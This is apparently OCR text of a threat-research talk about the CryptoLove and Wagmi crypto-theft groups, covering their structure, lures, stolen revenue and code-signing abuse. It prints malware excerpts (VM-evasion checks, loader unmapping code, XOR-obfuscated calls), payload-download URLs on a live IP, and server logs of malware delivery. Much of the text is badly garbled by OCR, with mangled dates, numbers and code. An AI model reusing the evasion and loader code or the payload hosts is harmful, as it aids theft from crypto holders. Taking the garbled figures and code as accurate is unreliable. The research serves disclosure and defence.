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Joan Garma

@gOnjxa
« Student @ Universitat Politecnica de

Anna Pham

@RussianPanda

« Senior Threat Hunter @ Huntress, ex-

Unit42, ex-Toyota, ex-eSentire Valencia

. : findi
. 5 Years+ in Cyber trenches Sharing personal findings and
« Contributor to TRACLabs & The DFIR Report

 Background in Threat Intelligence,

collaborating with researchers since
2023

° 1 . h h. I
Malware Reversing & Threat Hunting In (dis)love with everything related to

inf |
. Obsessed with tracking adversary Infostealers

infrastructure and malware



VVNho are crypto
traffers?

Crypto traffers are cybercrime groups (primarily native Russian
))) speakers) who specilalize 1n socilal engineering people with the
purpose of cryptocurrency and data theft

Key Characteristics:

 Organized criminal teams with clear hierarchies
 Recruit from Telegram and advertise on cybercrime forums
 Use fake apps and social media deception

 Target cryptocurrency holders
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WORKER (BOPKEP) LAUNCHER

The person who performs (JIAYH‘IEP)
social engineering and Payload being delivered
distributes the payloads to the victim

MENTOR (MEHTOP)  WHALE (kuT) @
o

Person who guides the ¢&J Person who holds a large

workers

amount of crypto in the
wallets

LANDING
MAMMOTH PAGE (JI3HD)

Malicious page hosting
the payload




AVAVA o= VAN " LEDGER-LIVE R D ccovcrr et
ENTER YOUR RECOVERY PHRASE

MAC STEALER V2
Your recovery phrase Is your last chance to access your crypto If you
cannot use your Nano S. You must keep It in a safe place.

J Userlnformation.

MetaMask Info:
Debanks: https://d
https://debank.com
https://debank.com
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Cryptolove

peration

Revenue: $2.57 million across 7
Bl l1ate teams

Top Teams: PROFIT ($966K),
YELLOW EMPIRE ($651K), Heaven
Era 2.0 ($535K)

Structure: Hierarxchical netwozrk
with 50-65% worker payout

Largest Single Theft: $372,000
in Solana (worker earned $186K)

Specialization: Gaming
platforms, PDF readers, video
conferencing software

Lase Studies:
\VAV/

~

gimi

(>

CryptolLove &

VWVWagmi Operation

« Revenue: $2.41 million (June
2023 - March 2025)

 Structure: Single group led by
one administrator

 Specialization: Fake mobile

games, and video conferencing
software

e



Cryptolove

Victimilogy

peration

e Victims: +22,000

e 161 countries

TOP 3: NG (25%), IN, US

Including CIS!

Victim Type

« Crypto i1nvestors / holders

 Web3 job seekers

VWVWagmi Operation

e Victims: 2,422

e 114 countzries
TOP 3: US (20%), NG, IN




Cryptolove Organizational
Structure

CORE LEADERSHIP

‘ Developer
@lanrock_dev

- Primary Infrastructure Developer

MANAGEMENT LAYER

Log Handler Support Lead Veteran Support
@RoutinelL,ove3 @sssmmmnu @kupildonlLove3
12-16 hrs/ day log General Support Operations Support since
processing 2022

Big Support Landing Developer - Mentor
@magnificent_Oscar @vyellowscam @F’Ihkor‘ex_xLov_eB
NMr. Beast owner YELLOVW EMPIRE Social engineering
owner specialist

AFFILIATE TEAMS (7 MAJOR)
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. CRYPTOLOVE Team
// Scamquerteo / Yellow Empire -

A

Argon / Genom

PDF Reader ! UNTITLED \

Mr.Beast ™

CAPS LANDS Xona Forum

ObmanValut

DragonBorn

Wolves of Wall Street " \\
Capsure Labs
PDF Reader <

PDF Reader

NextCall

Whales Project
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‘* DINOVERSE

HOMEPAGE EXPLORE

b A L

EXPLORE NEW
WORLDS AND SURVIVE

UNLEASH YOUR SURVIVAL INSTINCTS: CONQUER WEB-3'S DINOSAUR-INFESTED METAVERSE
IN AN EPIC BATTLE FOR EXISTENCE

() https//pocketuniverses.org

p Pocket
@‘. Universe

ri

P

WORLDS TOKENS

sign web3 transactions.

Add to Browser

Join 180,000+ people who are safe from scams

Opensea @

trage,
Aot for o2 YOUr assars o
or nothing in rer 10
urn

-
Piot w288
&=

a

‘orionixxyz

€ orioNIX emeplay trofler  shop [new]  whitepaper  marketploce (soon] downlond 2

Spage Legends

ASSEMBLE YOUR EREW AND

COMMAND THE UNIVERSE!

| J0IN TO FIGHT »>

Add to Browser

Insurance Poc Team D
VITULVL yUUI YWONV AOoOTLO
ocket Universe is a browser exte your assets safe when you

LEAD YOUR ARMY <
STRIKE FROM THE SKY

FREF-TO-PLAY FAST-PACED ACTION RTS
6t tockatrumblexyz

THE NEXT GENERATION OF BATTLE ROYALE IS HERE,

PUTTING PLAYERS AND COMMUNITY FIRST

webjoining.com

L Google Meet

Do you want people to see and hear you in the meeting?

Allew micraphone and camera

o) nexcallus
k4 9
7) NexCall
s
1 8 doculuma.com

& DoculLuma

DOCULUMA
READER

Read, create
and sign PDF files

Working with PDF documents
has never been easier.

START TRIAL VERSION

Ready to join?

Home Blog Download Twitter (X) Medium

Start using innovative
video conferencing

Innovative real-time video conferencing with screen protection and privacy.
Creating a virtual space with unique features.

ABOUT US

Everything You Need in a PDF Reader

FAQ
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Bbl co3aaerte koA ansa neHauHra 'Socifi'.
BeeauTe Baww koA B popmarte XXXX-XXXX (Hanpumep, ABC1-X2Z3).

® Hazap
& G' @ tt splareayp 3 = Jb
Downloads B Q - &
B splere Setup v.7.99.dmg B TL‘I

PUT IN PERSONAL ACCESSCODETO
DOWNLOAD THE SPLARE

8171 7DOB

/start 4 0:46 P

M W

logs

2| I (V)
}Passwnrds: 213
# Cookies: 4832
@ Wallets: MetaMask,Phantom
@\ Build: STF

logs
7S i—
}Passwords: 0
@ Cookies: 0
@ Wallets: Exodus
@l Build: STL

OPEN TERMINAL, DRAG AND DROP TO INSTALL THE APP

Splare_Selup

e

Terminal




1 2 3 4
4] add_code.php "2412" "LJAWKS" |"#Itachi™ "1733057431"

L= =g ===y - e w o ——— o —— J— . [ — o — - f e e ——— o w w y e s aw— rw o e w w g  mmemia 4 st 8 g A A e e e tEm ) e s w o j AR Es fEm  memrt e 7 e P T pepe—

- [36/Nov/2024:00:32:40 +0100] "GET /get_link.php?action=get-win HTTP/1.1" 200 42 "-" "-"

- [36/Nov/2024:00:32:40 +0100] "GET /get_link.php?action=get-mac HTTP/1.1" 200 82 "-" "-"
- - [306/Nov/2024:00:33:06 +0100] "GET / HTTP/1.8" 483 564 "-" "Mozilla/5.0 (Linux; Android 13; V2231A; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.8 Chrome/87.0.4280.141 Mobile Safari/537.36 VivoBrowser/13.6.21.8"

- [38/Nov/2024:00:34:11 +0160] "GET /add_code.php?method=delete&code=KDPGDY HTTP/1.1" 266 38 "-" "python-requests/2.31.@"

- - [36/Nov/2024:00:34:29 +0160] "GET /get_link.php?action=get-win HTTP/1.1" 200 42 "-" "-"

- - [38/Nov/20824:00:34:31 +01080] "GET /download.php?agent=37 HTTP/1.8" 382 @ "https://capsuredash.xyz/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.8.8.8 Safari/537.36"
[36/Nov/2024:00:34:31 +0100] "GET /dwnld.php HTTP/1.8" 382 13 "https://capsuredash.xyz/" "Mozilla/5.© (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.8.8.8 Safari/537.36"
[36/Nov/2024:00:34:32 +0100] "GET /37/Setup_xB86.exe HTTP/1.8" 286 1 "https://capsuredash.xyz/" "Mozilla/5.0 (Windows NT 10.9; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.8.8.8 Safari/537.36"
[36/Nov/2024:00:34:34 +0100] "GET /37/Setup_xB6.exe HTTP/1.8" 286 37537822 "https://capsuredash.xyz/" "Mozilla/5.0 (Windows NT 10.©; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.8.0.0 Safari/537.36"

- [36/Nov/2024:00:34:39 +0100] "GET / HTTP/1.8" 403 162 "-" "Mozilla/5.8 (Linux; U; Android 4.0.3; ko-kr; LG-L16©L Build/IML74K) AppleWebkit/534.3@ (KHTML, like Gecko) Version/4.8 Mobile Safari/534.3@"
- - [38/Nov/20824:00:35:02 +01080] "GET /robots.txt HTTP/1.0"™ 404 162 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)”

- [38/Nov/2624:00:36:55 +0100] "GET login.cgi HTTP/1.1" 4@@ 166 "-" "-"
- - [38/Nov/20624:00:37:37 +0100] "GET /add_code.php?method=get&code=KDPGDY HTTP/1.1" 260 5@ "-" "Java/1.8.e_1e1"
- [36/Nov/2624:00:37:41 +€100] "GET /add_code.php?method=get&code=KDPGDY HTTP/1.1" 28€ 50 "-" "Java/1.8.@_ 101"

- [38/Nov/2024:00:37:57 +0100] "GET /add_code.php?method=get&code=kdpgdy HTTP/1.1" 2€6 5@ "-" "Java/1.8.@_ 101"

[30/Nov/2024:00:39:14 +0160] "GET /get_link.php?action=get-win HTTP/1.1" 200 42 "-" "-"
- - [308/Nov/2024:00:39:14 +0100] "GET /get_link.php?action=get-mac HTTP/1.1" 200 82 "-" "-"
- - [308/Nov/2024:00:39:24 +0100] "GET /download.php?agent=39 HTTP/1.8" 382 @ "https://wechatmeets.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.08.0.@ Safari/537.36"
- - [306/Nov/2024:00:39:24 +0100] "GET /dwnld.php HTTP/1.8" 382 13 "https://wechatmeets.com/" "Mozilla/5.© (Windows NT 10.8; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.e.e.e Safari/537.36"
- - [306/Nov/2024:00:39:25 +0100] "GET /39/Setup_x86.exe HTTP/1.8" 206 1 "https://wechatmeets.com/" "Mozilla/5.0 (Windows NT 1©.0; Winé4; x64) ApplelWebKit/537.36 (KHTML, like Gecko) Chrome/131.e.e.e Safari/537.36"
- - [30/Nov/2024:00:39:28 +0100] "GET /39/Setup_x86.exe HTTP/1.8" 286 56251735 "https://wechatmeets.com/" "Mozilla/5.© (Windows NT 1©.@; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.e.e.e Safari/537.36"
- - [38/Nov/20824:00:39:30 +01080] "GET /download.php?agent=39 HTTP/1.8" 382 @ "https://wechatmeets.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.8.8.8 Safari/537.36"
- - [38/Nov/20824:00:39:30 +01080] "GET /dwnld.php HTTP/1.8" 302 13 "https://wechatmeets.com/" "Mozilla/5.© (Windows NT 10.8; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.8.8.e Safari/537.36"
- - [38/Nov/20824:00:39:30 +0100] "GET /39/Setup_x86.exe HTTP/1.8" 206 1 "https://wechatmeets.com/" "Mozilla/5.© (Windows NT 10.0; Winé4; x64) AppleWebkKit/537.36 (KHTML, like Gecko) Chrome/131.8.0.0 Safari/537.36"
- - [308/Nov/2024:00:39:33 +0100] "GET /39/Setup_x86.exe HTTP/1.8" 206 50685842 "https://wechatmeets.com/" "Mozilla/5.© (Windows NT 1©.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.8.0.0 Safari/537.36"
- - [308/Nov/2024:00:40:00 +0100] "GET /download.php?agent=39 HTTP/1.8" 382 @ "https://wechatmeets.com/" "Mozilla/5.0 (Windows NT 10.©; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.8.@.@ Safari/537.36"
- - [306/Nov/2024:00:40:00 +0100] "GET /dwnld.php HTTP/1.8" 382 13 "https://wechatmeets.com/" "Mozilla/5.© (Windows NT 10.80; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.e.e.e Safari/537.36"
- [38/Nov/2624:00:40:14 +0100] "GET /get_link.php?action=get-win HTTP/1.1" 280 42 "-" "-"
- [38/Nov/2024:00:40:14 +0188] "GET /get link.php?action=get-mac HTTP/1.1" 268 82 "-" "-"

~2435"  ["TZYPDY" |["#paket" ~1733064412"
echo "created”; "2436" "BDMQSX" |"#lanrock" "1733064653"

} catch (PDOException $e) { "2437"  ["GLGIPC" |"#ssabiduria” "1733064708"
echo "Error: " . $e->getMessage(); "2438" "PCVWTX" ["#baglkq" "1733064854"

} "2439"  |"123123" |"#lanrock" "1733065121"
"2448"  |"XYKFNP" |"#novenkiy" "1733065443"




How Far Can They Go to Prove

Their "Business’ is Legitimate’?

* o
Moo

Y OF STATH

Name:

LEON, RONALD
Business:

DINOVERSE ENTERPRId

Location: 512 S ROYAL ATLANTA I
Tl !('.‘KER,(EA. 30084, USA

Mail To: LEON, RONALD

5123 S ROYAL ATLANTA I

TUCKER, GA, 30084, USA

Number: Expiration: Fee:
23145431 12/30/2028 2400.00

THE ISSUANCE OF A BUS
ORDINANCES OF THE C.

WAIVER OF THE CITY. OF ATLANTA OF PAST OR F UTU,
THE LICENSE WAS ISSUED WITHOUT VERIFICATION

LICENSE TO BE RENEWED V

INESS LICENSE SHALL IN .‘\'('
ITY OFATLANTA OR LAWS OF




LEADERSHIP

Admin
@DanbiVWoo
- Infrastructure Developer, Log Processing

MANAGEMENT
‘ VWorkers Support
- @scarletexe
Operational support

WORKERS



WAGNMI LANDINGS: COPY OR ORIGINAL®™

« > C O 8 nttps//tokyoroninsxyz s © % « > C O B nttps//www .tokyo-beast.com ® & 0 O

%ﬁhﬂi HOME  WINTEMPERC . T ®'X (@ IIH!!HHIII ‘;QHQF. HOME WORLD WHITEPAPER" MYSTERYTICKET: @ 1 e« @ X @8 4 O © © © Language+ =

| PRE-REGISTRATION
| NOW OPEN!

H ' _ ; & fiop Siore | P> Google ey

AL © WHISPECAL © tBI*SPECAL ¢ WMBI*SPEOAL C HBI*SPEQAL @ WBI*SPECAL G #5)*SPECAL © mn-ﬂu.@ ’ns

= view-source}:https://tokyoronins.xyz

TV

src="_./img/logo_black.svg" alt="Tokyo Ronins"> </a>
<div class="header_right">
<ul class="header_list-nav" style="opacity: 1;">

<1i class="header_list-nav_item -current" data-nav-grp="home"> <a
class="header_list-nav_a -upper font-quatro -black" href="/" data-hover-nav=""
style="pointer-events: none;" tabindex="-1">
<div class="header_list-nav_text">Home <div data-animation="nav-line"

class="header_list-nav_line"™ aria-hidden="true"

style="translate: none; rotate: none; scale: none; opacity: 1; transform: translate3d(0%, Opx, ©Opx) rotate(0.00ldeg);">

</div>
</div>
</a> </1i>
<l-- <1i class="header_list-nav_item" data-nav-grp="about"> <a

class="header list-nav a -upper font-quatro -black"
Originalcontentofthe [h:‘ef:"https://x-n-:w.tokyobeast.com/about'] data-hover-nav="" style="" tabindex="0">
=a- - <div class="header_ list-nav_text">WORLD <div data-animation="nav-line"
Iegmmate bsite class="header list-nav_line" aria-hidden="true"
\\ style="translate: none; rotate: none; scale: none; clip-path: inset(0% 100% 0% ©0%); transform: translate(-10%, Opx);">

</div>




Bypasses VWindows
SmartsScreen alerts

educes UAC prompts
Achieves low detection rates

Creates a false sense of

security for victims

o
"

Certificate

General Details Certification Path

Certificate Information

This certificate is intended for the following purpose(s):

« Ensures software came from software publisher
» Protects software from alteration after publication

* Refer to the certification authority’s statement for details.

Issued to: OSIME COSMATICS VIETNAM COMPANY LIMITED
Issued by: GlobalSign GCC R45 EV CodeSigning CA 2020

Valid from 12/2/2024 to 12/3/2025

Install Certificate... Issuer Statement

General Advanced

= » Digital Signature Information
This digital signature is OK.

Signer information

Name: OSIME COSMATICS VIETNAM COMPANY LIMITEC
E-mail: 'kinchiiSO‘S@gmaiI‘.com

Signing time:

I'Sunday, February 23, 2025 7:24:02 AM

View Certificate

Countersignatures

Name ... Email ...
Globalsi... Not av...




REVOCATIONOFEV CERTIFICATES
BEING ABUSEL

WA NNAT “u,

«vock (I Consequences:

STOP WORK WINDOWS!
 1-2aca hours 2?>  Temporal work paralysis
) 4 €1 2:52PM
\ 2> Bulk flag of malware builds
& htgoodercuse .. | » Important time and money
T knock ([T oSS
e o Windows - Stop work!
|. e Technical work 30 minutes
R 5\ (o G —arly disruption of malware
Waiting for EV, ~10days . - i;“%:ig D6 &1 #1 4:59 PM )) - y p |
Revoked 3-4dago Campalgn
DEL

More info - run anyway

g ~ sayhim,itsnottrouble .. .



- - private static bool IsRunningInVirtualMachine()
Irs ISCcoverea: selir- {
" using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ ComputerSystem"})
i
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())

-I- : a
C O I lt a I I I e d ] N E I O a d e I string text = managementBaseObject["Manufacturer"].ToString().ToLower();

string text2 = managementBaseObject["Model"].ToString().TolLower();
if (text.Contains{"microsoft corporation") && text2.Contains("virtual"))
i
return true;
H
h if (text.Contains("vmware") || text2.Contains("vmware"))
Sathers country {
I I return true;
H
- - if (text.Contains("xen") || text2.Contains("xen"))
cryptowallet information {
return true;
H
if (text.Contains("gemu") || text2.Contains("gemu"))
1
return true;
H

if (text.Contains("innotek gmbh") || text2.Contains("virtualbox"))

AnNti-analysis evasion e oo

i
if (text2.Contains("vbox") || text2.Contains("virtualbox™"))
1
return true;

i

n ] o H

n H
J = return false;
¥
= // Token: @x0600000F RID: 15 RVA: ©x000027A4 File Offset: 0x00OOO9A4
I I l OWS le EI l ‘ !I private static bool IsRunningInCloud()
i
foreach (string text in new string[] { "/sys/hypervisorfuuid", "/sys/devices/virtual/dmi/id/product_uuid", "/sys/devices/virtual/dmi/id/product_serial", "/etc/hostname” })
1
if ( _Exists(text))
i string text2 = -ReadAllText(text).TolLower();

if (text2.Contains("ec2") || text2.Contains("aws") || text2.Contains("azure") || text2.Contains("google"))

UITI-STagde pavyioa {

return true;

H

delivery

public static bool CheckEmulation()
{
return MainWindow.Memory() < 4.0 || i == "C:\\" || : == .GetTempPath({) |
.GetFileNameWithoutExtension(AppDomain. : ). > 11 || : == "WALKER" || : ==
"WALKER-PC" || ( i == "John" &% i == "JOHN-PC") || i == "JOHN-PC";
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VM / Cloud Detection




S RBY P T3A VE JPHP Launcher

/ —

Enter Access Code

[ Enter code ]

referenceMemory4.assign (StringMemory.valueOf ( (String) ("https://apikokoapi.com/add code.php?method=get&code=" + referenceMemcry3)});
referenceMemory7.assign{InvokeHelper.callStatic((Environment) environment, (Llracelnio)sTHC[3], (String) “popiiici\stream", (String)"getcontents”,

memoryS = environment. newCbject("php\\format\\JIsonProcessor", "php\\format\\jsonprocessor"™, S$TRC[&], new Memcry[] {ObjectInvokeHelper.getConst
{(String) "par=se", (String) "par=se”, (Environment)environment, (Tracel

Memory.a=z=signRight ( (Memory) CbhjectInvokeHelper.invokeMethod ( (Memory) memory9d,

{"available":true,"code”:" XY Z" "username”":"#worker_handle”}

/ 7.1095.166.229/gicudtbo2b.dll




\ if ( Ithis )

return 0;

—E Loader Sample : |
(NovemDEP p p4) ‘ SUbilﬁgggEEEObeunf(z??i Mapping Target PE File\n");

= __acrt_iob_func(2u);
sub_100039E0( vd, "[+] Loader Base Orig: Ox%08x New: 0x%08x\n");
54| ModuleHandleW = GetModuleHandleW(L"ntdll.d1l1");
» ‘WU pViewOfSection = GetProcAddress (M leH
The DLL executes one of S6| iF ( Izonmapviewofsection )
f

1

the payloads fetched from iRt R rIcyy
9 sub_100039EQ(v3, , [+] Failed to resolve address of NtUnmapViewOfSection\n");
the hardcoded URLSs: = || e

sub_100039E0( 5 , [+] Target PE Load Base: 0x%08x Image Size: 0Ox%08x\n");

W, "ZL-_’UnmapVie"_‘.O{Sectionn);

< for ( 1 = *(char Y(this + 24); VirtualQuery(i, & 'r, Ox1Cu); i += Buffer.RegionSize )
{

N http://77.105.166.229/beast2 - if ( r.State == 0x10000 )

‘ break;
LummalC2 Stealer 67| } |
68 = *(_DWORD *)(*(_DWORD *)(this + 8) + 52);

if'(_. 2 >= *(_DWORD *)(this + 24) && 2 < (unsigned int)i
{

Nttp://77.105.166.220/beast1- I
73 {
Stealc | = __acrt_iob_func(2u);

sub_100039E0( 5 4, "[+] Unmapping original loader mapping\n");
14 = *(_DWORD *)(this + 24);

s = GetCurrentProcess ( ) .

ORC

%

if ( vi3(CurrentProcess, va4) )
(
17 = __acrt_iob_func(2u);
sub_100039E0( 17, "[-] Failed to unmap original loader mapping\n");

?

)




Community

InternetRBeadFile APl obfuscated with XOR
vs = ((int (

*(ad - 1039)
*(ad - 1054)

*{[_QJ;%} Yas

#( ( WORD
do
*(( BYTE

=
S0LUNe

ij\' No security vendors flagged this file as malicious

aTedb703c4bdB8a33434d18b72fd1e7186082a9a99b8b30d35add27c609bd24cle

Morpheme32.exe

peexe  detect-debug-environment

L + 2 * a2))))((char

V5
Ox69627748;

- 528)
1 - 2106)

l +

Bx/36269756273694ELL;
1872,

-
=
=
=

vE++ - 4224) "= Ju;

)ad

- 4206);




HOW I T ALL W

Y

Tellus about your experience with scamming

1/4
Pacckaxute o cBoem onbiTe B CKAME

MakcumansHas 0nuHa omeema - 400 CUMBOAI08 -4 A

m "."’

OTMeHUTL 3anonHeHne

Have you had profits in other teams / landing pages”

| 2/4
Belnw nu npoduTel B ApYyrux TMmax/neHgax?
MakcumaneHas dnuHa omeema - 400 cumeonos - - .58 PM
What social media are youusing™? Send us the links to them

3/4

Kakue cou.ceTn ncnones3syete ana pabotel?
KMHBTE CChINKK Ha HUX

MakcumansHas onuHa omeema - 400 cumgonos - - .58 PM

Tellme alittle about yourself and yourbest qualities. It's

important for me to know who | will be working with.

4/4

PacckaXkute HeMHoro o cebe 1 CBOMX NyYLLINX KayecTBax.
MHe BaXKHO 3HaTk € KeM A Byay paboTaTe.

Makcumanerasa dauHa omeema - 400 cumsonos - - .58 PM

B Hannumm NFT akKayHTb! € aKTUBHOM rasioukomn
Available NFT accounts with an active checkmark

1000-5000 subs 1-5k tweets - 45$
x;comfHappyMythen
x;comfltsKoryven
x;comfsadtharyen

1000-5000 subs 5-10k tweets - 55%
x;comsitsZzoryxis
x;comfjusttynther

1000-5000 subs 10-50k tweets - 65%

4/ O nobbix Bonpocax 1 NoKynke nucathb croga
4/ For any questions or purchases write here
@TiffanySTORE_|zt

SOLD

RKS?

500-1000 followers 10-50k tweets - 55%
itter: inadi I I
itter ISPOFS hi
itter- MV,
twitter,com/OurtovesforS]

1000-2500 followers 10-50k tweets - 65$
twitter.com/asameiiQ

itter- (ot
twitter.com/kdraujb

ftter- ; ¢ 5

2500-5000 followers 0-1k tweets - 65%
twitter,com/bandsfromwarped

JlnuHocTn:
500-1000 followers 1-5k tweets - 45%
twitter.com/LunethAverlin

500-1000 followers 5-10k tweets - 50$
twitter.com/coldheartedhood

1000-2500 followers 10-50k tweets - 65$
twitter.com/proudofjoshua

twitter,comfiMiacarenaiarqgq

® @Aquatwit

Active categories in the store: .
Twitter Aged ¥
Twitter with Subscribers ¥
Twiiter Blue Accounts ¥

;rwitter Blue *7

Twitter Defective 36}

Twitter Verified ID ®

Discord '©

Instagram “=*

Gmail I

Telegram Bot that sells social media accounts

(00)

PM



Discord (checking

Dapp

Radar)

Verify wallet balance on
zapper.xyz or Arkham Intel

(can also be used to gather

Social Media information)

$936.1M

14.1K

747

$2,195.8

7. N

..[,3}

Overview

NFTs

World Of DyplanS Share Report
@ 4 & +8 #1 in Games #1 in Collectibles
Experience unique gameplay and explore a world without end in a quest to form your destiny. Boosting (i ] XP 50
Read more
Amount Rank
News Analytics About
& 1.24M #3

$295,802

-0.27%

4 Boost a project

Socials

® @ w f X 4
QB o © O &

For Twitter/ Telegram - look
for".eth” inhandles and "wallet
address” terms
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@® Gigs @ scller i @ Withdr @ Fiverr, @

www.upwork.com/ab/messages/rooms/room_07392c2eed8d4fbdcd6afaf2114f4f3d

Upwork Find Work v+ MyJobs v Reports v Messages Apps and Offers Q search ’7 w Q .

Casper Young

~ > DA MA\T 4
6:16 PM GMT +1

EE oo Young

® S

asper Young

Casper Young 0:16 PM Schedule ameeting Record with Loom View Proposal
CY Making a trailer for a video game.
® You: Hi, | downloaded the game link bu oy Casper Young

° (), Search Messages

https://cryptoskyland.org/

2) People
Crypto SkylLand @ P
Crypto SkyLand is a Multiplayer ARPG game currently in development by CryptoSkyLand Games, set in a fantasy world divided into four ecosystems: earth, water,
fire, and ice @ Files & Links

-

- o =| Personal notepad

' Okay | will Check it

cY Casper Young
® Tellme only your data in the game, so that | will give you all rights for convenience. You can play on windows and macOS.
I l Okay After playing the game | will tell you about the game data

Hi, | downloaded the game link but it's not running the game. The game window is stuck and not responding

2files v

SE DOWNLOAD THE LATEST UF
E DOWNLOAD THE LATEST UP

o

DOWNLOAD

10:16 pm

--1 o .
= 19°C Smoke A O @TIM oo B




RESEARCH, RESEARCH, ANLC

V RESEAI
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gm! thanks for reaching out 4.1,

Can you remind me our conversation please! 4.,

S AIN..

I'd like to know more details before jumping on a call 144

Tell me a bit more about the project please 541




FAKEINTER

| can send you the details, and then you can choose

a convenient date and time for the se: b Konunacr 4

1.Topic: Latest trends in the cryptoma

1) Focus on the rapid evolution of the (
its potential to redefine global financi
how it is influencing economies world

2.Platform: Riverside

1) High-quality audio and video recorc
2) Ensures a seamless experience for |
participants and viewers.
3.Duration: 30-45 minutes

1) Structured discussion with enough

depth exploration of topics while keeg
and engaging.

Key Discussion Points:

Rapid Evolution of the Crypto Market:

1) Statistics and examples showcasin

growth of cryptocurrencies over recen .

2) Comparison with traditional asset ¢
stocks, bonds, and commodities.

Impact on Global Financial Systems:

1) How cryptocurrencies are challengii .

reshaping existing financial structures.

28 messages

Unread messages

Deleted Account
Macra s

Topic Creator

" To begin, what role do you want to apply for? We need: developer,

moderator, community manager, support, analyst, designer, beta
tester. Salary depends on the positions. But for example, beta
testers here get about $20-30/hour

We are looking for: a moderator ($2,000/month), a beta tester
($30/hour), a developer ($4,000/month), a community manager
($3,000/month) and other positions. Which position are you
interested in applying for?

Terwn: cNUCOK BaKaHCKIA 3afBKa 33ABKY BakaHCHUK 11:24 AM

Macta 6

We have serious tasks in the project that are suitable for you. But
first I want to get to know you and show you the team and the
project as a whole. This is an important stage. I'm offering you a
position as a technical beta tester for 3 days. The rate is $40 per
hour. And after that, we will discuss more serious cooperation.

Your task will be to analyze specific game algorithms and report
any bugs in a detailed manner.

Your task will be to assist players in chatting and building a
community. You will work 5 days per week for 4 hours.

Teru: aeenonepsl 6eTa TecT Aer AeBbl pa3pabel pazpaboTunkm
pa3pab 11:36 AM

Macra?7

- Our tech specialists said that our application is not loading due to

an error in interaction with your system. The system did not find
any wallets on your PC for salary payment that you specified in the
form. Install and open your wallet on your PC and try to enter the

' game again.

Teru: koL Ha TenegoHe 11:37 AM

AVAISRAVAVAS:

andscape for cryptocurrencies
ns

~ for regulation and its impact
option.

‘place on Riverside, which

-grade audio and video quality.
lanned for 30-45 minutes,
1S, main discussions, and Q&A

:commodate your availability.
rour interest, we will work
l0st convenient date and time

- bility and interest in

; |ates/times for the session.
~luding any specific questions

cover during the discussion.

5. The podcast will also be in

1 an informal conversation style
set questions, we'll just talk

- i Ivu‘t-.iu", BT ST N v-' t-ve tmc



» POSTMORTEM

Cryptolove
Full team disruption
Affiliates leaving / VWagmi
switching teams
. Several
Key members leaving losses and

cybercrime months with
¢ N0 profit

Drag 1nto
private

W .
) Missing 1n
action



CryptolLove and Wagmi groups collectively stole over $5
mMiillion from 24,52/ victims between 2022 and 2025.
Single thefts reached as highas $37/72,

Abuse of code-signing certificates from companies like
Globalsign, SSL, and Certum to bypass Windows security
protections

Certificate revocation campaigns have a measurable
Impact on operations and should be prioritized by
researchers

Awareness of sophisticated social engineering is essential
as these groups professionalize their deception tactics
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